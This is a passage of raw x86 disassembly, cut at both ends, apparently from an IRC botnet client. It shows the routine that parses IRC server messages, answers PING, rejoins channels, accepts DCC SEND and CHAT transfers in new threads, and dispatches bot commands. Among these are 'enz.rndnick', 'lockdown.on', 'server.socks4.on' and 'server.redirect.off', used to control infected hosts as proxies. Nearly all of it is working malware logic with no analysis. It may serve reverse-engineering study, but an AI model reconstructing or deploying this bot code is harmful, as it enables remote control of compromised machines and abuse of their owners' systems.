-0CCh var_C0 = byte ptr -0C0h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 27D4h call sub_415B90 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2D8] push ebx push eax mov [ebp+var_A8], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_D8], ebx call sub_415390 push 1Bh lea eax, [ebp+var_43C] push [ebp+arg_10] push eax call sub_416BE0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40D18F push esi lea eax, [ebp+var_21D4] push ebx push eax call sub_415390 dec esi lea eax, [ebp+var_21D4] push esi push [ebp+arg_0] push eax call sub_416BE0 lea eax, [ebp+var_21D4] push offset asc_43670C ; " :" push eax call sub_4158E0 mov [ebp+var_C], eax lea eax, [ebp+var_21D4] push esi push eax lea eax, [ebp+var_23D4] push eax call sub_416BE0 mov esi, offset asc_426A34 ; " " lea eax, [ebp+var_23D4] push esi push eax call sub_416B3F xor edi, edi add esp, 34h mov [ebp+var_94], eax inc edi loc_40CE00: ; CODE XREF: sub_40CD3A+DAj push esi push ebx call sub_416B3F mov [ebp+edi*4+var_94], eax inc edi pop ecx cmp edi, 20h pop ecx jl short loc_40CE00 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40D18F cmp [ebp+var_90], ebx jz loc_40D18F push 100h lea eax, [ebp+var_960] push ebx push eax call sub_415390 add esp, 0Ch push 1Fh pop edx loc_40CE48: ; CODE XREF: sub_40CD3A+142j lea ecx, [ebp+edx*4+var_94] mov eax, [ecx] cmp eax, ebx jz short loc_40CE7B cmp byte ptr [eax], 2Dh jnz short loc_40CE7E cmp [eax+2], bl jnz short loc_40CE7E movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40CE7B: ; CODE XREF: sub_40CD3A+119j dec edx jns short loc_40CE48 loc_40CE7E: ; CODE XREF: sub_40CD3A+11Ej ; sub_40CD3A+123j xor edi, edi inc edi cmp [ebp+var_8ED], bl jz short loc_40CE8C mov [ebp+var_8], edi loc_40CE8C: ; CODE XREF: sub_40CD3A+14Dj cmp [ebp+var_8F2], bl jz short loc_40CE9A mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40CE9A: ; CODE XREF: sub_40CD3A+158j cmp byte ptr [esi], 0Ah jz short loc_40CED4 push 7Fh lea eax, [ebp+var_B10] push esi push eax call sub_416BE0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C0] push eax call sub_416BE0 lea eax, [ebp+var_C0] push offset dword_42F4B0 push eax call sub_416B3F add esp, 20h loc_40CED4: ; CODE XREF: sub_40CD3A+163j push esi push offset aPing ; "PING" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40CF25 push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_412B8B mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40CFC9 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_412B8B add esp, 10h jmp loc_40CFC9 ; --------------------------------------------------------------------------- loc_40CF25: ; CODE XREF: sub_40CD3A+1A9j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41299F push esi push offset a005 ; "005" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41299F push esi push offset a302 ; "302" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40CF90 push offset a@_6 ; "@" push [ebp+var_88] call sub_4158E0 pop ecx cmp eax, ebx pop ecx jz short loc_40CFC9 inc eax push 9Fh push eax push [ebp+arg_1C] call sub_416BE0 add esp, 0Ch jmp short loc_40CFC9 ; --------------------------------------------------------------------------- loc_40CF90: ; CODE XREF: sub_40CD3A+22Aj push esi push offset a433 ; "433" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40CFD0 push ebx push dword_46AB28 push dword_42C268 push [ebp+arg_10] call sub_414278 push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_412B8B add esp, 1Ch loc_40CFC9: ; CODE XREF: sub_40CD3A+1CAj ; sub_40CD3A+1E6j ... mov eax, edi jmp loc_40D192 ; --------------------------------------------------------------------------- loc_40CFD0: ; CODE XREF: sub_40CD3A+265j mov esi, [ebp+arg_18] mov [ebp+var_D4], 2 mov edi, 80h loc_40CFE2: ; CODE XREF: sub_40CD3A+2CDj lea eax, [ebp+var_B10] push eax push esi call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40CFFF mov [ebp+var_A4], 1 loc_40CFFF: ; CODE XREF: sub_40CD3A+2B9j add esi, edi dec [ebp+var_D4] jnz short loc_40CFE2 mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40D0E8 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40D02E: ; CODE XREF: sub_40CD3A+373j cmp [esi], bl jz short loc_40D0A8 push 7Fh lea eax, [ebp+var_B10] push esi push eax call sub_416BE0 add esp, 0Ch cmp [ebp+var_88], ebx jz short loc_40D0A8 push [ebp+var_88] lea eax, [ebp+var_C0] push eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40D0A8 lea eax, [ebp+var_C0] mov [esi], bl push eax lea eax, [ebp+var_2D8] push offset dword_436698 push eax call sub_415316 lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_412B8B lea eax, [ebp+var_2D8] push eax call sub_40B078 add esp, 20h loc_40D0A8: ; CODE XREF: sub_40CD3A+2F6j ; sub_40CD3A+310j ... add esi, edi dec [ebp+arg_24] jnz loc_40D02E push [ebp+var_88] push [ebp+arg_10] call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40D18F push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40D0DB: ; CODE XREF: sub_40CD3A+5D6j ; sub_40CD3A+918j push [ebp+arg_4] call sub_412B8B jmp loc_412188 ; --------------------------------------------------------------------------- loc_40D0E8: ; CODE XREF: sub_40CD3A+2E4j push esi push offset aNick ; "NICK" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40D224 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40D111: ; CODE XREF: sub_40CD3A+429j lea eax, [ebp+var_B10] push eax push esi call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40D15E lea eax, [ebp+var_B10] push 21h push eax call sub_416F20 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40D15E push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_415A20 push [ebp+arg_1C] push edi call sub_415A30 add esp, 10h mov edi, 80h loc_40D15E: ; CODE XREF: sub_40CD3A+3E8j ; sub_40CD3A+3FFj add esi, edi dec [ebp+arg_0] jnz short loc_40D111 cmp [ebp+arg_24], ebx jz short loc_40D18F push [ebp+arg_10] lea eax, [ebp+var_C0] push eax call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40D197 push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_416BE0 add esp, 0Ch loc_40D18F: ; CODE XREF: sub_40CD3A+5Bj ; sub_40CD3A+E4j ... xor eax, eax inc eax loc_40D192: ; CODE XREF: sub_40CD3A+291j ; sub_40CD3A+281Fj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40D197: ; CODE XREF: sub_40CD3A+443j mov edi, [ebp+arg_18] xor esi, esi loc_40D19C: ; CODE XREF: sub_40CD3A+483j cmp [edi], bl jz short loc_40D1B3 lea eax, [ebp+var_B10] push eax push edi call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40D1C1 loc_40D1B3: ; CODE XREF: sub_40CD3A+464j inc esi add edi, 80h cmp esi, 2 jl short loc_40D19C jmp short loc_40D18F ; --------------------------------------------------------------------------- loc_40D1C1: ; CODE XREF: sub_40CD3A+477j lea eax, [ebp+var_B10] push 21h push eax call sub_416F20 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_40D18F push eax call sub_415B10 push [ebp+arg_24] mov edi, eax call sub_415B10 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_40D18F push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_1 ; ":%s%s" push esi call sub_415316 push ebx lea eax, [ebp+var_33C] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_412BD1 add esp, 24h jmp loc_40D18F ; --------------------------------------------------------------------------- loc_40D224: ; CODE XREF: sub_40CD3A+3BDj push esi push offset aPart ; "PART" call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40D246 push esi push offset aQuit ; "QUIT" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40D26D loc_40D246: ; CODE XREF: sub_40CD3A+4F9j mov edi, [ebp+arg_18] xor esi, esi loc_40D24B: ; CODE XREF: sub_40CD3A+531j cmp [edi], bl jz short loc_40D261 push [ebp+var_94] push edi call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40D2B4 loc_40D261: ; CODE XREF: sub_40CD3A+513j inc esi add edi, 80h cmp esi, 2 jl short loc_40D24B loc_40D26D: ; CODE XREF: sub_40CD3A+50Aj push [ebp+var_90] push offset a353 ; "353" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40D315 push [ebp+var_84] push [ebp+arg_8] call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40D2A4 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40D2A4: ; CODE XREF: sub_40CD3A+55Fj push [ebp+var_84] push offset dword_436638 jmp loc_412993 ; --------------------------------------------------------------------------- loc_40D2B4: ; CODE XREF: sub_40CD3A+525j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2D8] push offset dword_436604 push eax call sub_415316 lea eax, [ebp+var_2D8] push eax call sub_40B078 push [ebp+var_90] push offset aPart ; "PART" call sub_415730 add esp, 18h test eax, eax jnz loc_40D18F lea eax, [ebp+var_2D8] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40D0DB ; --------------------------------------------------------------------------- loc_40D315: ; CODE XREF: sub_40CD3A+547j push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_415730 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40D369 push [ebp+var_90] push edi call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40D369 push [ebp+var_90] push offset dword_4365F0 call sub_415730 pop ecx test eax, eax pop ecx jnz loc_412818 cmp dword_42C258, ebx jz loc_412818 loc_40D369: ; CODE XREF: sub_40CD3A+5F5j ; sub_40CD3A+607j push [ebp+var_90] push esi call sub_415730 pop ecx test eax, eax pop ecx jz loc_40D4E2 push [ebp+var_90] push edi call sub_415730 pop ecx test eax, eax pop ecx jz loc_40D4E2 mov eax, [ebp+var_88] inc [ebp+var_84] mov [ebp+var_A8], 4 mov [ebp+var_8C], eax loc_40D3B1: ; CODE XREF: sub_40CD3A+867j ; sub_40CD3A+8EDj ... mov eax, [ebp+var_A8] mov esi, eax shl esi, 2 lea edi, [ebp+esi+var_94] mov eax, [edi] push eax push offset dword_4365E8 mov [ebp+arg_8], eax call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40D7CB push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40D693 cmp [ebp+var_A4], ebx jz loc_40D669 push [ebp+esi+var_8C] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_844] push edi push eax call sub_415316 push [ebp+esi+var_88] lea eax, [ebp+var_858] push edi push eax call sub_415316 push [ebp+esi+var_84] call sub_41587F mov [ebp+var_6C0], eax mov eax, [ebp+arg_4] mov [ebp+var_860], eax lea eax, [ebp+var_C0] push 7Fh push eax lea eax, [ebp+var_740] push eax call sub_416BE0 mov eax, [ebp+var_4] mov [ebp+var_6B8], eax mov eax, [ebp+var_8] mov [ebp+var_6B4], eax lea eax, [ebp+var_740] push eax lea eax, [ebp+var_844] push eax lea eax, [ebp+var_2D8] push offset dword_4365A0 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 12h push eax call sub_414DDA add esp, 44h mov [ebp+var_6BC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset sub_40B9BC push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_6BC] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jz loc_411406 jmp loc_40D65F ; --------------------------------------------------------------------------- loc_40D4E2: ; CODE XREF: sub_40CD3A+63Fj ; sub_40CD3A+655j push [ebp+var_90] push edi call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40D4FB mov [ebp+var_4], 1 loc_40D4FB: ; CODE XREF: sub_40CD3A+7B8j cmp [ebp+var_8C], ebx jz loc_40D18F push (offset loc_426447+1) push [ebp+var_8C] call sub_4158E0 pop ecx test eax, eax pop ecx jz short loc_40D522 cmp [ebp+var_4], ebx jz short loc_40D52E loc_40D522: ; CODE XREF: sub_40CD3A+7E1j lea eax, [ebp+var_C0] mov [ebp+var_8C], eax loc_40D52E: ; CODE XREF: sub_40CD3A+7E6j cmp [ebp+var_88], ebx jz loc_40D18F inc [ebp+var_88] jz short loc_40D578 cmp [ebp+arg_10], ebx jz short loc_40D578 lea eax, [ebp+var_43C] push eax call sub_415B10 push eax lea eax, [ebp+var_43C] push [ebp+var_88] push eax call sub_416D70 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+var_A8], eax jmp short loc_40D57E ; --------------------------------------------------------------------------- loc_40D578: ; CODE XREF: sub_40CD3A+806j ; sub_40CD3A+80Bj mov eax, [ebp+var_A8] loc_40D57E: ; CODE XREF: sub_40CD3A+83Cj mov esi, eax shl esi, 2 mov edi, [ebp+esi+var_94] cmp edi, ebx jz loc_40D18F push edi push offset dword_436594 call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40D3B1 mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40D618 mov eax, dword_46AB34 mov eax, off_42C330[eax*4] cmp [eax], bl jz short loc_40D618 push eax push ecx push offset dword_436578 push [ebp+arg_4] call sub_412B8B lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2D8] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_415316 lea eax, [ebp+var_2D8] push eax call sub_40B078 add esp, 20h cmp [ebp+var_A4], ebx jnz loc_40D18F push ebx lea eax, [ebp+var_2D8] push 1 push eax push offset dword_46AA44 jmp loc_411FD7 ; --------------------------------------------------------------------------- loc_40D618: ; CODE XREF: sub_40CD3A+876j ; sub_40CD3A+886j push edi push offset dword_436554 call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40D3B1 mov esi, [ebp+esi+var_90] cmp esi, ebx jz loc_40D3B1 mov eax, [ebp+var_8C] cmp byte ptr [eax], 23h jz loc_40D3B1 push esi push eax push offset dword_43653C jmp loc_40D0DB ; --------------------------------------------------------------------------- loc_40D657: ; CODE XREF: sub_40CD3A+92Bj push 32h call dword_421060 ; Sleep loc_40D65F: ; CODE XREF: sub_40CD3A+7A3j cmp [ebp+var_6B0], ebx jz short loc_40D657 jmp short loc_40D68B ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40CD3A+6C4j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2D8] push [ebp+esi+var_8C] push offset dword_4364E8 push eax call sub_415316 add esp, 10h loc_40D68B: ; CODE XREF: sub_40CD3A+92Dj ; sub_40CD3A+A6Aj ... xor esi, esi inc esi jmp loc_40F54A ; --------------------------------------------------------------------------- loc_40D693: ; CODE XREF: sub_40CD3A+6B8j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_415730 pop ecx test eax, eax pop ecx jnz loc_40D7E1 cmp [ebp+var_A4], ebx jz loc_40D7BA push 13h call sub_41501C test eax, eax pop ecx jnz loc_40D7A9 push [ebp+esi+var_88] lea eax, [ebp+var_858] push offset aS_1 ; "%s" push eax call sub_415316 push [ebp+esi+var_84] call sub_41587F mov [ebp+var_6C0], eax mov eax, [ebp+arg_4] mov [ebp+var_860], eax lea eax, [ebp+var_C0] push 7Fh push eax lea eax, [ebp+var_740] push eax call sub_416BE0 mov eax, [ebp+var_4] mov [ebp+var_6B8], eax mov eax, [ebp+var_8] mov [ebp+var_6B4], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2D8] push offset dword_4364A8 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 13h push eax call sub_414DDA add esp, 34h mov [ebp+var_6BC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset sub_40B459 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_6BC] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_40D79C call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_436460 jmp loc_4108F0 ; --------------------------------------------------------------------------- loc_40D794: ; CODE XREF: sub_40CD3A+A68j push 32h call dword_421060 ; Sleep loc_40D79C: ; CODE XREF: sub_40CD3A+A47j cmp [ebp+var_6B0], ebx jz short loc_40D794 jmp loc_40D68B ; --------------------------------------------------------------------------- loc_40D7A9: ; CODE XREF: sub_40CD3A+98Aj lea eax, [ebp+var_C0] push eax push offset dword_436418 jmp loc_4108F0 ; --------------------------------------------------------------------------- loc_40D7BA: ; CODE XREF: sub_40CD3A+97Aj lea eax, [ebp+var_C0] push eax push offset dword_4363D0 jmp loc_4108F0 ; --------------------------------------------------------------------------- loc_40D7CB: ; CODE XREF: sub_40CD3A+69Dj mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42C260 mov [edi], ecx jnz loc_40D18F loc_40D7E1: ; CODE XREF: sub_40CD3A+96Ej mov edi, [edi] push edi push offset aNewshit ; "newshit" mov [ebp+arg_8], edi call sub_415730 pop ecx test eax, eax pop ecx jz loc_412820 push edi push offset aHi_0 ; "hi" call sub_415730 pop ecx test eax, eax pop ecx jz loc_412820 cmp [ebp+var_A4], ebx jnz short loc_40D832 push [ebp+var_90] push offset dword_4365F0 call sub_415730 pop ecx test eax, eax pop ecx jnz loc_412818 loc_40D832: ; CODE XREF: sub_40CD3A+ADCj cmp [ebp+arg_28], ebx jnz loc_412818 xor edi, edi cmp dword_42E870, ebx jle loc_40D9D6 mov [ebp+arg_20], offset dword_440948 loc_40D850: ; CODE XREF: sub_40CD3A+B35j push [ebp+arg_8] push [ebp+arg_20] call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40D876 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42E870 jl short loc_40D850 jmp loc_40D9D6 ; --------------------------------------------------------------------------- loc_40D876: ; CODE XREF: sub_40CD3A+B25j push offset asc_43670C ; " :" push [ebp+arg_0] call sub_4158E0 pop ecx cmp eax, ebx pop ecx jz loc_40D18F mov cl, byte_42C260 imul edi, 0B8h mov [eax+2], cl mov cl, byte_42C260 mov [eax+3], cl lea ecx, dword_440960[edi] push 9Fh add eax, 4 push ecx push eax call sub_416BE0 lea eax, dword_440948[edi] add esp, 0Ch mov [ebp+arg_8], 0Fh mov [ebp+arg_20], eax lea edi, [ebp+esi+var_54] loc_40D8D1: ; CODE XREF: sub_40CD3A+C31j push [ebp+arg_8] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_415316 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4158E0 add esp, 14h test eax, eax jz short loc_40D933 cmp [edi], ebx jz short loc_40D937 push [ebp+arg_20] call sub_415B10 add [ebp+var_C], eax pop ecx jz short loc_40D962 push dword ptr [edi-4] push [ebp+var_C] call sub_4158E0 pop ecx cmp eax, ebx pop ecx jz short loc_40D962 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4098D4 add esp, 0Ch jmp short loc_40D962 ; --------------------------------------------------------------------------- loc_40D933: ; CODE XREF: sub_40CD3A+BBFj cmp [edi], ebx jnz short loc_40D962 loc_40D937: ; CODE XREF: sub_40CD3A+BC3j lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_14] push eax call sub_416BE0 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4098D4 add esp, 18h loc_40D962: ; CODE XREF: sub_40CD3A+BD1j ; sub_40CD3A+BE2j ... dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg loc_40D8D1 lea eax, [ebp+esi+var_54] mov [ebp+arg_8], 10h mov edi, eax loc_40D97E: ; CODE XREF: sub_40CD3A+C90j push [ebp+arg_8] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_415316 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4158E0 add esp, 14h test eax, eax jz short loc_40D9C1 mov eax, [edi] cmp eax, ebx jz short loc_40D9C1 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4098D4 add esp, 0Ch loc_40D9C1: ; CODE XREF: sub_40CD3A+C6Cj ; sub_40CD3A+C72j dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg short loc_40D97E mov [ebp+var_D8], 1 loc_40D9D6: ; CODE XREF: sub_40CD3A+B09j ; sub_40CD3A+B37j lea eax, [ebp+esi+var_94] mov edi, [eax] mov cl, [edi] cmp cl, byte_42C260 jz short loc_40D9F5 cmp [ebp+var_D8], ebx jz loc_40DBD5 loc_40D9F5: ; CODE XREF: sub_40CD3A+CADj push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe_0 ; "$me" push edi call sub_4098D4 lea eax, [ebp+var_C0] push eax push offset aUser_2 ; "$user" push edi call sub_4098D4 push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_4098D4 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_414278 push eax push offset aRndnick ; "$rndnick" push edi call sub_4098D4 add esp, 40h push [ebp+arg_14] push offset aServer_2 ; "$server" push edi call sub_4098D4 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_4158E0 add esp, 14h jmp loc_40DB50 ; --------------------------------------------------------------------------- loc_40DA6C: ; CODE XREF: sub_40CD3A+E18j push edi push [ebp+arg_0] call sub_4158E0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_416BE0 lea eax, [ebp+var_A0] push offset asc_436384 ; ")" push eax call sub_416B3F add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40DAB0 cmp [ebp+var_A0], 39h jle short loc_40DAC6 loc_40DAB0: ; CODE XREF: sub_40CD3A+D6Bj push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_416BE0 add esp, 0Ch loc_40DAC6: ; CODE XREF: sub_40CD3A+D74j lea eax, [ebp+var_A0] push eax call sub_41587F test eax, eax pop ecx jle short loc_40DAE9 lea eax, [ebp+var_A0] push eax call sub_41587F pop ecx mov [ebp+var_14], al jmp short loc_40DAFA ; --------------------------------------------------------------------------- loc_40DAE9: ; CODE XREF: sub_40CD3A+D9Bj call sub_415372 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40DAFA: ; CODE XREF: sub_40CD3A+DADj lea eax, [ebp+var_A0] mov [ebp+var_13], bl push eax call sub_415B10 mov [ebp+arg_8], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_415390 mov eax, [ebp+arg_8] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_416BE0 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4098D4 push edi push [ebp+arg_0] call sub_4158E0 add esp, 30h loc_40DB50: ; CODE XREF: sub_40CD3A+D2Dj test eax, eax jnz loc_40DA6C mov edi, 1FFh lea eax, [ebp+var_21D4] push edi push [ebp+arg_0] push eax call sub_416BE0 lea eax, [ebp+var_21D4] push edi push eax lea eax, [ebp+var_23D4] push eax call sub_416BE0 mov edi, offset asc_426A34 ; " " lea eax, [ebp+var_23D4] push edi push eax call sub_416B3F add esp, 20h mov [ebp+var_94], eax mov [ebp+arg_10], 1 loc_40DBA3: ; CODE XREF: sub_40CD3A+E83j push edi push ebx call sub_416B3F pop ecx pop ecx mov ecx, [ebp+arg_10] inc [ebp+arg_10] cmp [ebp+arg_10], 20h mov [ebp+ecx*4+var_94], eax jl short loc_40DBA3 lea eax, [ebp+esi+var_94] mov ecx, [eax] cmp ecx, ebx jz loc_40D18F add ecx, 3 mov [eax], ecx loc_40DBD5: ; CODE XREF: sub_40CD3A+CB5j mov edi, [eax] push edi push offset aEnz_rndnick ; "enz.rndnick" mov [ebp+arg_8], edi call sub_415730 pop ecx test eax, eax pop ecx jz loc_4127CB push edi push offset aEnz_rn ; "enz.rn" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4127CB push edi push offset aEnz_endsess ; "enz.endsess" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4127A9 push edi push offset aEnz_d ; "enz.d" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4127A9 push edi push offset aEnz_logout ; "enz.logout" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41270B push edi push offset aEnz_lo ; "enz.lo" call sub_415730 pop ecx test eax, eax pop ecx jz loc_41270B push edi push offset aEnz_version ; "enz.version" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4126FC push edi push offset aEnz_ver ; "enz.ver" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4126FC push edi push offset aLockdown_on ; "lockdown.on" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4125FF push edi push offset aLd_on ; "ld.on" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4125FF push edi push offset aLockdown_off ; "lockdown.off" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4125FF push edi push offset aLd_off ; "ld.off" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4125FF push edi push offset aServer_socks4_ ; "server.socks4.on" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4124DE push edi push offset aServer_s4_on ; "server.s4.on" call sub_415730 pop ecx test eax, eax pop ecx jz loc_4124DE push edi push offset aServer_socks_0 ; "server.socks4.off" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40DD29 push [ebp+esi+var_90] push 11h push offset aServer ; "Server" push offset dword_4362B4 jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40DD29: ; CODE XREF: sub_40CD3A+FD5j push edi push offset aServer_rlogin_ ; "server.rlogin.off" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40DD52 push [ebp+esi+var_90] push 6 push offset aServer ; "Server" push offset dword_436290 jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40DD52: ; CODE XREF: sub_40CD3A+FFEj push edi push offset dword_436280 call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40DD7B push [ebp+esi+var_90] push 3 push offset aServer ; "Server" push offset dword_436274 jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40DD7B: ; CODE XREF: sub_40CD3A+1027j push edi push offset dword_43626C call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40DDA4 push [ebp+esi+var_90] push 1Ch push offset dword_436260 push offset dword_436254 jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40DDA4: ; CODE XREF: sub_40CD3A+1050j push edi push offset aServer_redirec ; "server.redirect.off" call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40DDCD push [ebp+esi+var_90] push 10h push offset dword_436230 push offset dword_436220 jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40DDCD: ; CODE XREF: sub_40CD3A+1079j push edi push offset dword_436214 call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40DDF6 push [ebp+esi+var_90] push 0Ah push offset dword_436208 push offset dword_4361FC jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40DDF6: ; CODE XREF: sub_40CD3A+10A2j push edi push offset dword_4361EC call sub_415730 pop ecx test eax, eax pop ecx jnz short loc_40DE1F push [ebp+esi+var_90] push 0Bh push offset dword_4361E0 push offset dword_4361D4 jmp loc_4124C2 ; --------------------------------------------------------------------------- loc_40DE1F: ; CODE XREF: sub_40CD3A+10CBj push edi push offset dword_4361C4 